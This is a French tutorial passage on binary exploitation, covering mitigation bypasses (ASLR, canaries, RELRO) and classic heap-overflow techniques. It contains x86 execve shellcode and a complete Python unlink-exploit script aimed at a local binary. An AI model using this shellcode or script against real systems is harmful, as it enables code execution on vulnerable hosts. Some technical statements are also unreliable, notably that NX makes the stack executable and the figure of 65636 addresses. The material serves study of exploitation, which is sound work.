Actuellement, les **adresses des fonctions** à exécuter sont **cachées** derrière plusieurs structures et finalement l'adresse vers laquelle elles pointent n'est pas l'adresse des fonctions, mais elles sont **cryptées avec XOR** et des décalages avec une **clé aléatoire**. Donc, actuellement, ce vecteur d'attaque n'est **pas très utile, du moins sur x86** et **x64\_86**.\
|
||
La fonction de **cryptage** est **`PTR_MANGLE`**. D'autres architectures telles que m68k, mips32, mips64, aarch64, arm, hppa... **n'implémentent pas la fonction de cryptage** car elle **renvoie la même chose** qu'elle a reçue en entrée. Donc, ces architectures pourraient être attaquées par ce vecteur.
|
||
|
||
### **setjmp() & longjmp()**
|
||
|
||
{% hint style="danger" %}
|
||
De nos jours, il est très **rare d'exploiter cela**.
|
||
{% endhint %}
|
||
|
||
**`Setjmp()`** permet de **sauvegarder** le **contexte** (les registres)\
|
||
**`longjmp()`** permet de **restaurer** le **contexte**.\
|
||
Les **registres sauvegardés** sont : `EBX, ESI, EDI, ESP, EIP, EBP`\
|
||
Ce qui se passe, c'est que EIP et ESP sont passés par la fonction **`PTR_MANGLE`**, donc les **architectures vulnérables à cette attaque sont les mêmes que celles mentionnées ci-dessus**.\
|
||
Ils sont utiles pour la récupération d'erreur ou les interruptions.\
|
||
Cependant, d'après ce que j'ai lu, les autres registres ne sont pas protégés, **donc si un `call ebx`, `call esi` ou `call edi`** se trouve à l'intérieur de la fonction appelée, le contrôle peut être pris. Ou vous pouvez également modifier EBP pour modifier ESP.
|
||
|
||
**VTable et VPTR en C++**
|
||
|
||
Chaque classe a une **Vtable** qui est un tableau de **pointeurs vers des méthodes**.
|
||
|
||
Chaque objet d'une **classe** a un **VPtr** qui est un **pointeur** vers le tableau de sa classe. Le VPtr fait partie de l'en-tête de chaque objet, donc si une **modification** du **VPtr** est réalisée, il peut être **modifié** pour **pointer** vers une méthode fictive, de sorte que l'exécution d'une fonction aboutisse à la shellcode.
|
||
|
||
## **Mesures préventives et évasions**
|
||
|
||
**ASLR pas si aléatoire**
|
||
|
||
PaX divise l'espace d'adressage du processus en 3 groupes :
|
||
|
||
Code et données initialisées et non initialisées : .text, .data et .bss -> 16 bits d'entropie dans la variable delta\_exec, cette variable est initialisée de manière aléatoire à chaque processus et est ajoutée aux adresses initiales.
|
||
|
||
Mémoire allouée par mmap() et bibliothèques partagées -> 16 bits, delta\_mmap
|
||
|
||
La pile -> 24 bits, delta\_stack -> En réalité 11 (du 10ème au 20ème octet inclus) -> aligné sur 16 octets -> 524 288 adresses réelles possibles de la pile
|
||
|
||
Les variables d'environnement et les arguments se déplacent moins qu'un tampon sur la pile.
|
||
|
||
**Return-into-printf**
|
||
|
||
C'est une technique pour transformer un dépassement de tampon en une erreur de chaîne de format. Elle consiste à remplacer l'EIP pour qu'il pointe vers un printf de la fonction et à lui passer une chaîne de format manipulée pour obtenir des valeurs sur l'état du processus.
|
||
|
||
**Attaque sur les bibliothèques**
|
||
|
||
Les bibliothèques sont situées à une position avec 16 bits d'aléatoire = 65636 adresses possibles. Si un serveur vulnérable appelle fork(), l'espace d'adressage mémoire est cloné dans le processus enfant et reste intact. Il est donc possible d'essayer de forcer la fonction usleep() de libc en lui passant l'argument "16", de sorte que lorsqu'elle met plus de temps que d'habitude à répondre, cette fonction est trouvée. En connaissant l'emplacement de cette fonction, on peut obtenir delta\_mmap et calculer les autres.
|
||
|
||
La seule façon d'être sûr que l'ASLR fonctionne est d'utiliser une architecture 64 bits. Il n'y a pas d'attaques par force brute dans ce cas.
|
||
|
||
**StackGuard et StackShield**
|
||
|
||
**StackGuard** insère avant l'EIP -> 0x000aff0d(null, \n, EndOfFile(EOF), \r) -> recv(), memcpy(), read(), bcoy() restent vulnérables et il ne protège pas l'EBP.
|
||
|
||
**StackShield** est plus élaboré que StackGuard.
|
||
|
||
Il enregistre dans une table (Global Return Stack) toutes les adresses EIP de retour afin que le dépassement de tampon ne cause aucun dommage. De plus, les deux adresses peuvent être comparées pour vérifier s'il y a eu un dépassement.
|
||
|
||
Il est également possible de vérifier l'adresse de retour avec une valeur limite, donc si l'EIP va à un endroit différent de celui habituel comme l'espace de données, cela sera détecté. Mais cela peut être contourné avec Ret-to-lib, ROPs ou ret2ret.
|
||
|
||
Comme vous pouvez le voir, StackShield ne protège pas non plus les variables locales.
|
||
|
||
**Stack Smash Protector (ProPolice) -fstack-protector**
|
||
|
||
Le canary est placé avant l'EBP. Les variables locales sont réorganisées de sorte que les tampons soient aux positions les plus élevées et ne puissent donc pas écraser d'autres variables.
|
||
|
||
De plus, une copie sécurisée des arguments passés est réalisée au-dessus de la pile (au-dessus des variables locales) et ces copies sont utilisées comme arguments.
|
||
|
||
Il ne peut pas protéger les tableaux de moins de 8 éléments ni les tampons faisant partie d'une structure utilisateur.
|
||
|
||
Le canary est un nombre aléatoire extrait de "/dev/urandom" ou sinon il est 0xff0a0000. Il est stocké dans TLS (Thread Local Storage). Les threads partagent le même espace mémoire, le TLS est une zone qui contient des variables globales ou statiques pour chaque thread. Cependant, en principe, elles sont copiées du processus parent, bien que le processus enfant puisse modifier ces données sans modifier celles du parent ni celles des autres enfants. Le problème est que si fork() est utilisé mais qu'aucun nouveau canary n'est créé, tous les processus (parent et enfants) utilisent le même canary. Sur i386, il est stocké dans gs:0x14 et sur x86\_64, il est stocké dans fs:0x28.
|
||
|
||
Cette protection localise les fonctions qui ont des tampons pouvant être attaqués et inclut du code au début de la fonction pour placer le canary et du code à la fin pour le vérifier.
|
||
La fonction fork() crée une copie exacte du processus parent, c'est pourquoi si un serveur web appelle fork(), une attaque de force brute byte par byte peut être effectuée jusqu'à ce que le canary utilisé soit découvert.
|
||
|
||
Si la fonction execve() est utilisée après fork(), l'espace est écrasé et l'attaque n'est plus possible. vfork() permet d'exécuter le processus enfant sans créer de duplication jusqu'à ce que le processus enfant tente d'écrire, alors une duplication est créée.
|
||
|
||
**Relocation Read-Only (RELRO)**
|
||
|
||
### Relro
|
||
|
||
**Relro (Relocalisation en lecture seule)** affecte les autorisations de mémoire de manière similaire à NX. La différence est que, tandis que NX rend la pile exécutable, RELRO rend **certaines choses en lecture seule** afin que nous ne puissions pas y écrire. La façon la plus courante dont j'ai vu cela être un obstacle est de nous empêcher de faire une **surcharge de la table `got`**, ce qui sera expliqué plus tard. La table `got` contient les adresses des fonctions libc afin que le binaire sache quelles sont les adresses et puisse les appeler. Voyons à quoi ressemblent les autorisations de mémoire pour une entrée de la table `got` pour un binaire avec et sans relro.
|
||
|
||
Avec relro :
|
||
```bash
|
||
gef➤ vmmap
|
||
Start End Offset Perm Path
|
||
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
|
||
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
|
||
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
|
||
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
|
||
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
|
||
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
|
||
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
|
||
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
||
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
||
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||
gef➤ p fgets
|
||
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
|
||
gef➤ search-pattern 0x7ffff7e4d100
|
||
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
|
||
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
|
||
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
|
||
```
|
||
Sans relro:
|
||
```bash
|
||
gef➤ vmmap
|
||
Start End Offset Perm Path
|
||
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
|
||
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
|
||
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
|
||
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
|
||
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
|
||
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
|
||
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
|
||
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
||
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
||
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||
gef➤ p fgets
|
||
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
|
||
gef➤ search-pattern 0x7ffff7e4d100
|
||
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
|
||
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
|
||
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
|
||
```
|
||
Pour le binaire **sans relro**, nous pouvons voir que l'adresse d'entrée `got` pour `fgets` est `0x404018`. En examinant les mappages de mémoire, nous constatons qu'elle se situe entre `0x404000` et `0x405000`, ce qui signifie qu'elle a les **permissions `rw`**, ce qui signifie que nous pouvons lire et écrire dedans. Pour le binaire **avec relro**, nous constatons que l'adresse de la table `got` pour l'exécution du binaire (pie est activé, donc cette adresse changera) est `0x555555557fd0`. Dans la table de mappage mémoire de ce binaire, elle se situe entre `0x0000555555557000` et `0x0000555555558000`, ce qui signifie que nous ne pouvons que la lire.
|
||
|
||
Alors quelle est la **contournement** ? Le contournement typique que j'utilise est simplement de ne pas écrire dans les régions de mémoire que relro rend en lecture seule, et de **trouver un autre moyen d'exécuter du code**.
|
||
|
||
Notez que pour que cela se produise, le binaire doit connaître avant l'exécution les adresses des fonctions :
|
||
|
||
* Liaison tardive : L'adresse d'une fonction est recherchée la première fois que la fonction est appelée. Ainsi, la GOT doit avoir des permissions d'écriture pendant l'exécution.
|
||
* Liaison immédiate : Les adresses des fonctions sont résolues au début de l'exécution, puis des permissions en lecture seule sont accordées aux sections sensibles telles que .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`y`**`-z now\`\*\*
|
||
|
||
Pour vérifier si un programme utilise la liaison immédiate, vous pouvez exécuter la commande suivante :
|
||
```bash
|
||
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
|
||
```
|
||
Lorsque le binaire est chargé en mémoire et qu'une fonction est appelée pour la première fois, il saute vers la PLT (Procedure Linkage Table), à partir de là, il effectue un saut (jmp) vers la GOT et découvre que cette entrée n'a pas été résolue (elle contient une adresse suivante de la PLT). Il invoque alors le Runtime Linker ou rtfd pour résoudre l'adresse et la stocker dans la GOT.
|
||
|
||
Lorsqu'une fonction est appelée, elle est appelée via la PLT, qui contient l'adresse de la GOT où l'adresse de la fonction est stockée, redirigeant ainsi le flux vers cette adresse et appelant la fonction. Cependant, si c'est la première fois que la fonction est appelée, ce qui se trouve dans la GOT est l'instruction suivante de la PLT, donc le flux suit le code de la PLT (rtfd) et trouve l'adresse de la fonction, la stocke dans la GOT et l'appelle.
|
||
|
||
Lors du chargement d'un binaire en mémoire, le compilateur lui indique à quel décalage il doit placer les données qui doivent être chargées lors de l'exécution du programme.
|
||
|
||
Lazy binding -> L'adresse de la fonction est recherchée la première fois qu'elle est appelée, donc la GOT a des autorisations d'écriture pour que lorsqu'elle est recherchée, elle soit stockée là et qu'il ne soit pas nécessaire de la rechercher à nouveau.
|
||
|
||
Bind now -> Les adresses des fonctions sont recherchées lors du chargement du programme et les autorisations des sections .got, .dtors, .ctors, .dynamic, .jcr sont modifiées en lecture seule. **-z relro** et **-z now**
|
||
|
||
Malgré cela, en général, les programmes ne sont pas compliqués avec ces options, donc ces attaques restent possibles.
|
||
|
||
**readelf -l /proc/ID_PROC/exe | grep BIND_NOW** -> Pour savoir s'ils utilisent le BIND NOW
|
||
|
||
**Fortify Source -D_FORTIFY_SOURCE=1 ou =2**
|
||
|
||
Il essaie d'identifier les fonctions qui copient de manière non sécurisée d'un endroit à un autre et remplace la fonction par une fonction sécurisée.
|
||
|
||
Par exemple :\
|
||
char buf[16];\
|
||
strcpy(buf, source);
|
||
|
||
Il l'identifie comme non sécurisé, puis remplace strcpy() par \_\_strcpy\_chk() en utilisant la taille du tampon comme taille maximale à copier.
|
||
|
||
La différence entre **=1** et **=2** est que :
|
||
|
||
La deuxième option n'autorise pas que **%n** provienne d'une section avec des autorisations d'écriture. De plus, le paramètre pour l'accès direct aux arguments ne peut être utilisé que si les précédents ont été utilisés, c'est-à-dire que **%3$d** ne peut être utilisé que si **%2$d** et **%1$d** ont été utilisés auparavant.
|
||
|
||
Pour afficher le message d'erreur, on utilise argv[0], donc si on y met l'adresse d'un autre emplacement (comme une variable globale), le message d'erreur affichera le contenu de cette variable. Page 191
|
||
|
||
**Remplacement de Libsafe**
|
||
|
||
Il est activé avec : LD_PRELOAD=/lib/libsafe.so.2\
|
||
ou\
|
||
"/lib/libsave.so.2" > /etc/ld.so.preload
|
||
|
||
Il intercepte les appels à certaines fonctions non sécurisées par d'autres sécurisées. Ce n'est pas normalisé. (uniquement pour x86, pas pour les compilations avec -fomit-frame-pointer, pas de compilations statiques, toutes les fonctions vulnérables ne deviennent pas sécurisées et LD_PRELOAD ne fonctionne pas avec les binaires suid).
|
||
|
||
**ASCII Armored Address Space**
|
||
|
||
Consiste à charger les bibliothèques partagées de 0x00000000 à 0x00ffffff afin qu'il y ait toujours un octet 0x00. Cependant, cela ne protège pratiquement pas contre les attaques, surtout en little endian.
|
||
|
||
**ret2plt**
|
||
|
||
Consiste à effectuer un ROP de manière à appeler la fonction strcpy@plt (de la plt) et à pointer vers l'entrée de la GOT et à copier le premier octet de la fonction à appeler (system()). Ensuite, on fait la même chose en pointant vers GOT+1 et en copiant le deuxième octet de system()... Enfin, on appelle l'adresse stockée dans la GOT qui sera system()
|
||
|
||
**Faux EBP**
|
||
|
||
Pour les fonctions qui utilisent EBP comme registre pour pointer vers les arguments, en modifiant EIP et en pointant vers system(), EBP doit également être modifié pour pointer vers une zone mémoire contenant 2 octets quelconques, puis l'adresse de &"/bin/sh".
|
||
|
||
**Cages avec chroot()**
|
||
|
||
debootstrap -arch=i386 hardy /home/user -> Installe un système de base dans un sous-répertoire spécifique
|
||
|
||
Un administrateur peut sortir de l'une de ces cages en faisant : mkdir foo; chroot foo; cd ..
|
||
|
||
**Instrumentation de code**
|
||
|
||
Valgrind -> Recherche d'erreurs\
|
||
Memcheck\
|
||
RAD (Return Address Defender)\
|
||
Insure++
|
||
|
||
## **8 Débordements de tas : Exploits basiques**
|
||
|
||
**Chunk alloué**
|
||
|
||
prev_size |\
|
||
size | - En-tête\
|
||
*mem | Données
|
||
|
||
**Chunk libre**
|
||
|
||
prev_size |\
|
||
size |\
|
||
*fd | Ptr vers le chunk suivant\
|
||
*bk | Ptr vers le chunk précédent - En-tête\
|
||
*mem | Données
|
||
|
||
Les chunks libres sont dans une liste doublement chaînée (bin) et il ne peut jamais y avoir deux chunks libres consécutifs (ils sont fusionnés).
|
||
|
||
Dans "size", il y a des bits pour indiquer : si le chunk précédent est utilisé, si le chunk a été alloué via mmap() et si le chunk appartient à l'arena principale.
|
||
|
||
Lorsqu'un chunk est libéré et que certains des chunks adjacents sont libres, ils sont fusionnés à l'aide de la macro unlink() et le nouveau chunk le plus grand est passé à frontlink() pour qu'il soit inséré dans le bon bin.
|
||
|
||
unlink(){\
|
||
BK = P->bk; -> Le BK du nouveau chunk est celui qui était déjà libre avant\
|
||
FD = P->fd; -> Le FD du nouveau chunk est celui qui était déjà libre avant\
|
||
FD->bk = BK; -> Le BK du chunk suivant pointe vers le nouveau chunk\
|
||
BK->fd = FD; -> Le FD du chunk précédent pointe vers le nouveau chunk\
|
||
}
|
||
|
||
Par conséquent, si nous parvenons à modifier P->bk avec l'adresse d'un shellcode et P->fd avec l'adresse d'une entrée dans la GOT ou DTORS moins 12, nous obtenons :
|
||
|
||
BK = P->bk = &shellcode\
|
||
FD = P->fd = &__dtor_end__ - 12\
|
||
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
|
||
|
||
Ainsi, lorsque le programme se termine, le shellcode est exécuté.
|
||
|
||
De plus, la 4ème instruction de unlink() écrit quelque chose et le shellcode doit être réparé pour cela :
|
||
|
||
BK->fd = FD -> *((&shellcode + 8) = (&__dtor_end__ - 12) -> Cela provoque l'écriture de 4 octets à partir du 8ème octet du shellcode, donc la première instruction du shellcode doit être un jmp pour sauter cela et atteindre des nops qui mènent au reste du shellcode.
|
||
|
||
Par conséquent, l'exploit est créé :
|
||
|
||
Dans le buffer1, nous insérons le shellcode en commençant par un jmp pour qu'il atteigne les nops ou le reste du shellcode.
|
||
Après le shell code, nous remplissons avec des données jusqu'à atteindre les champs prev\_size et size du chunk suivant. Nous mettons 0xfffffff0 à ces emplacements (pour écraser prev\_size et indiquer qu'il est libre) et "-4" (0xfffffffc) dans size (pour que lorsque le troisième chunk vérifie si le deuxième est libre, il accède en réalité à prev\_size modifié qui lui indique qu'il est libre) -> Ainsi, lorsque free() est appelé, il accède à size du troisième chunk mais en réalité il accède à size du deuxième moins 4 et pense que le deuxième chunk est libre. Et ensuite, il appelle **unlink()**.
|
||
|
||
Lorsque unlink() est appelé, il utilise les premières données du deuxième chunk comme P->fd, donc l'adresse que nous voulons écraser est insérée là-bas moins 12 (car il ajoute 12 à l'adresse stockée dans FD pour BK). Et à cette adresse, nous insérons la deuxième adresse trouvée dans le deuxième chunk, qui sera l'adresse du shell code (P->bk faux).
|
||
|
||
**from struct import \***
|
||
|
||
**import os**
|
||
|
||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 octets de remplissage**
|
||
|
||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||
|
||
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
||
|
||
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
||
|
||
**prev\_size = pack("\<I”, 0xfffffff0) #Il est important que le bit indiquant que le chunk précédent est libre soit à 1**
|
||
|
||
**fake\_size = pack("\<I”, 0xfffffffc) #-4, pour que le "size" du troisième chunk soit 4 octets en arrière (il pointe vers prev\_size) car c'est là qu'il vérifie si le deuxième chunk est libre**
|
||
|
||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Dans la charge utile, nous ajoutons 8 octets de remplissage au début**
|
||
|
||
**got\_free = pack("\<I", 0x08048300 - 12) #Adresse de free() dans la plt-12 (ce sera l'adresse écrasée pour exécuter le shell code la deuxième fois que free() est appelé)**
|
||
|
||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Comme mentionné précédemment, la charge utile commence par 8 octets de remplissage pour aucune raison particulière**
|
||
|
||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Le deuxième chunk est modifié, got\_free pointe vers l'endroit où nous allons stocker l'adresse addr\_sc + 12**
|
||
|
||
**os.system("./8.3.o " + payload)**
|
||
|
||
**unset() en libérant dans l'ordre inverse (wargame)**
|
||
|
||
Nous contrôlons 3 chunks consécutifs et ils sont libérés dans l'ordre inverse de leur réservation.
|
||
|
||
Dans ce cas :
|
||
|
||
Dans le chunk c, nous plaçons le shell code.
|
||
|
||
Nous utilisons le chunk a pour écraser le b de sorte que le size ait le bit PREV\_INUSE désactivé, ce qui fait penser que le chunk a est libre.
|
||
|
||
De plus, nous écrasons le size dans l'en-tête b pour qu'il soit égal à -4.
|
||
|
||
Ainsi, le programme pensera que "a" est libre et dans un bin, il appellera donc unlink() pour le désenchaîner. Cependant, comme l'en-tête PREV\_SIZE vaut -4, il pensera que le chunk "a" commence réellement à b+4. Autrement dit, il effectuera unlink() sur un chunk qui commence à b+4, donc à b+12 se trouvera le pointeur "fd" et à b+16 se trouvera le pointeur "bk".
|
||
|
||
De cette manière, si nous mettons l'adresse du shell code dans bk et l'adresse de la fonction "puts()" - 12 dans fd, nous avons notre payload.
|
||
|
||
**Technique de Frontlink**
|
||
|
||
Frontlink est appelé lorsque quelque chose est libéré et aucun de ses chunks adjacents n'est libre, unlink() n'est pas appelé mais frontlink() est appelé directement.
|
||
|
||
Vulnérabilité utile lorsque le malloc attaqué n'est jamais libéré (free()).
|
||
|
||
Il nécessite :
|
||
|
||
Un tampon qui peut être débordé avec la fonction de saisie de données.
|
||
|
||
Un tampon contigu à celui-ci qui doit être libéré et dont le champ fd de l'en-tête sera modifié grâce au débordement du tampon précédent.
|
||
|
||
Un tampon à libérer avec une taille supérieure à 512 mais inférieure au tampon précédent.
|
||
|
||
Un tampon déclaré avant l'étape 3 qui permet de remplacer prev\_size de celui-ci.
|
||
|
||
De cette manière, en écrasant deux mallocs de manière incontrôlée et un malloc de manière contrôlée mais qui n'est libéré qu'une seule fois, nous pouvons réaliser une exploitation.
|
||
|
||
**Vulnérabilité double free()**
|
||
|
||
Si free() est appelé deux fois avec le même pointeur, deux bins pointent vers la même adresse.
|
||
|
||
Si nous voulons réutiliser l'un d'eux, il sera assigné sans problème. Si nous voulons utiliser un autre, il sera assigné au même espace, de sorte que les pointeurs "fd" et "bk" seront falsifiés avec les données écrites par l'allocation précédente.
|
||
|
||
**After free()**
|
||
|
||
Un pointeur précédemment libéré est réutilisé sans contrôle.
|
||
|
||
## **8 Débordements de tas : Exploits avancés**
|
||
|
||
Les techniques Unlink() et FrontLink() ont été supprimées en modifiant la fonction unlink().
|
||
|
||
**The house of mind**
|
||
|
||
Une seule appel à free() est nécessaire pour exécuter du code arbitraire. Il est intéressant de trouver un deuxième chunk qui peut être débordé par un précédent et libéré.
|
||
|
||
Un appel à free() appelle public\_fREe(mem), qui fait :
|
||
|
||
mstate ar\_ptr;
|
||
|
||
mchunkptr p;
|
||
|
||
…
|
||
|
||
p = mem2chunk(mes); —> Renvoie un pointeur vers l'adresse où commence le chunk (mem-8)
|
||
|
||
…
|
||
|
||
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
|
||
|
||
…
|
||
|
||
\_int\_free(ar\_ptr, mem);
|
||
|
||
}
|
||
|
||
Dans \[1], il vérifie le champ size du bit NON\_MAIN\_ARENA, qui peut être modifié pour que la vérification renvoie true et exécute heap\_for\_ptr() qui effectue un and avec "mem", mettant les 2,5 octets les moins significatifs à 0 (dans notre cas, de 0x0804a000 à 0x08000000) et accède à 0x08000000->ar\_ptr (comme s'il s'agissait d'une structure heap\_info).
|
||
De cette façon, si nous pouvons contrôler un morceau par exemple à l'adresse 0x0804a000 et qu'un morceau va être libéré à l'adresse **0x081002a0**, nous pouvons atteindre l'adresse 0x08100000 et écrire ce que nous voulons, par exemple **0x0804a000**. Lorsque ce deuxième morceau sera libéré, heap\_for\_ptr(ptr)->ar\_ptr renverra ce que nous avons écrit à l'adresse 0x08100000 (car l'opération "et" que nous avons vue précédemment est appliquée à 0x081002a0 et à partir de là, les 4 premiers octets, ar\_ptr, sont extraits).
|
||
|
||
De cette manière, \_int\_free(ar\_ptr, mem) est appelé, c'est-à-dire **\_int\_free(0x0804a000, 0x081002a0)**\
|
||
**\_int\_free(mstate av, Void\_t\* mem){**\
|
||
…\
|
||
bck = unsorted\_chunks(av);\
|
||
fwd = bck->fd;\
|
||
p->bk = bck;\
|
||
p->fd = fwd;\
|
||
bck->fd = p;\
|
||
fwd->bk = p;
|
||
|
||
..}
|
||
|
||
Comme nous l'avons vu précédemment, nous pouvons contrôler la valeur de av, car c'est ce que nous écrivons dans le morceau qui va être libéré.
|
||
|
||
Comme unsorted\_chunks est défini, nous savons que:\
|
||
bck = \&av->bins\[2]-8;\
|
||
fwd = bck->fd = \*(av->bins\[2]);\
|
||
fwd->bk = \*(av->bins\[2] + 12) = p;
|
||
|
||
Par conséquent, si nous écrivons la valeur de \_\_DTOR\_END\_\_-12 dans av->bins\[2], à la dernière instruction, l'adresse du deuxième morceau sera écrite dans \_\_DTOR\_END\_\_.
|
||
|
||
Cela signifie que dans le premier morceau, nous devons mettre plusieurs fois l'adresse de \_\_DTOR\_END\_\_-12 au début, car av->bins\[2] la récupérera à partir de là.
|
||
|
||
Dans l'adresse où tombe l'adresse du deuxième morceau avec les 5 derniers zéros, nous devons écrire l'adresse de ce premier morceau pour que heap\_for\_ptr() pense que ar\_ptr est au début du premier morceau et en extrait av->bins\[2].
|
||
|
||
Dans le deuxième morceau et grâce au premier, nous écrasons prev\_size avec un jump 0x0c et size avec quelque chose pour activer -> NON\_MAIN\_ARENA.
|
||
|
||
Ensuite, dans le deuxième morceau, nous mettons beaucoup de nops et enfin la shellcode.
|
||
|
||
De cette façon, \_int\_free(CHUNK1, CHUNK2) sera appelé et suivra les instructions pour écrire l'adresse de prev\_size de CHUNK2 dans \_\_DTOR\_END\_\_, qui sautera ensuite vers la shellcode.
|
||
|
||
Pour appliquer cette technique, il faut que certaines conditions supplémentaires soient remplies, ce qui complique un peu plus la charge utile.
|
||
|
||
Cette technique n'est plus applicable car elle a été presque entièrement corrigée, tout comme pour unlink. On vérifie si le nouvel emplacement pointe également vers lui.
|
||
|
||
**Fastbin**
|
||
|
||
C'est une variante de The house of mind.
|
||
|
||
Nous voulons exécuter le code suivant, qui est atteint après la première vérification de la fonction \_int\_free().
|
||
|
||
fb = &(av->fastbins\[fastbin\_index(size)] —> fastbin\_index(sz) —> (sz >> 3) - 2
|
||
|
||
…
|
||
|
||
p->fd = \*fb
|
||
|
||
\*fb = p
|
||
|
||
De cette façon, si nous mettons dans "fb" l'adresse d'une fonction dans la GOT, cette adresse sera remplacée par l'adresse du morceau falsifié. Pour cela, il est nécessaire que l'arène soit proche des adresses des dtors. Plus précisément, av->max\_fast doit être à l'adresse que nous allons écraser.
|
||
|
||
Comme nous l'avons vu avec The House of Mind, nous contrôlions la position de av.
|
||
|
||
Donc, si nous mettons une taille de 8 + NON\_MAIN\_ARENA + PREV\_INUSE dans le champ size, fastbin\_index() nous renverra fastbins\[-1\], qui pointera vers av->max\_fast.
|
||
|
||
Dans ce cas, av->max\_fast sera l'adresse qui sera écrasée (pas celle vers laquelle elle pointe, mais cette position sera écrasée).
|
||
|
||
